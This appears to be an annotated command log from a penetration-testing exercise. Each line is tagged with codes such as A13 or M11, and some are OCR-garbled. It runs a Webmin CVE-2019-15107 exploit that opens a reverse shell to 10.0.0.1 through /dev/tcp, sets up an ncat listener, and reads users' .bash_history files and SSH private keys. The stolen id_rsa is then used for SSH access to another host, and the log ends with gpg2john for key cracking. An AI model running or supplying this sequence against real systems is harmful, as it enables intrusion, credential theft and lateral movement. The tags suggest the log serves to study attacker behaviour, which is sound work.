```
nmap A0 A1
                                         nmap A0 A1
                                        nmap -h A0 A1
ls A10
                                          ls -la A10
                                            ls A10
                                            ls A10
python CVE 2019 15107.py https://172.18.1.5:10000 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' A13
 python CVE 2019 15107.py http://172.18.1.5:10000 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' A13
                                ncat -l 8080 A1 A9 A11 A12 A17
                            sudo apt install neat A1 A9 A11 A12 A17
                                ncat -l 8080 A1 A9 A11 A12 A17
                                ncat -i 8080 A1 A9 A11 A12 A17
                                ncat -l 8080 A1 A9 A11 A12 A17
 python CVE 2019 15107.py http://172.18.1.5:10000 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' A13
                   python CVE 2019 15107.py http://172.18.1.5:10000 'id' A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'cat ./.bash history' M11
       python CVE 2019 15107.py http://172.18.1.5:10000 'cat home/eva/.bash_history' M11
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat home/bob/.bash_history' M11
     python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/debian/.bash_history' M11
          python CVE_2019_15107.py http://172.18.1.5:10000 'ls home/debian/' A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/debian/' A10 A13
               python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la' A10 A13
            python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls' A10 A13
                                       save user.cgi A4
                                    useradmin update.pl A4
          python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls -la' A10 A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'cd /; ls -la' A10 A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/alice' A10 A13
          python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/alice' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/debian' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve' M10
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' M11
                                      cat /etc/services M1
                               less /etc/services A9 A11 A12 A17
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/bob/.bash_history' M11
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.bash history' M11
                                      ssh 10.1.18.22 A16
                                      ssh 10.1.17.4 A16
          python CVE_2019_15107.py http://172.18.1.5:10000 'ssh eve@10.1.17.4' M16
python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
             python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/eve/' M10
python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' M11
             python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/eve/' M10
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve' M10
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve/.ssh/' M10
        python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id rsa' M12
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id rsa.pub' M12
                                    ssh eve@10.1.17.4 M16
                                            ls A10
                                          cd .ssh A16
                                            ls A10
                                          ls -la A10
                                    chmod 600 id rsa M15
                                          ls -la A10
                                    ssh eve@10.1.17.4 M16
                                     gpg2john id_rsa A14
```

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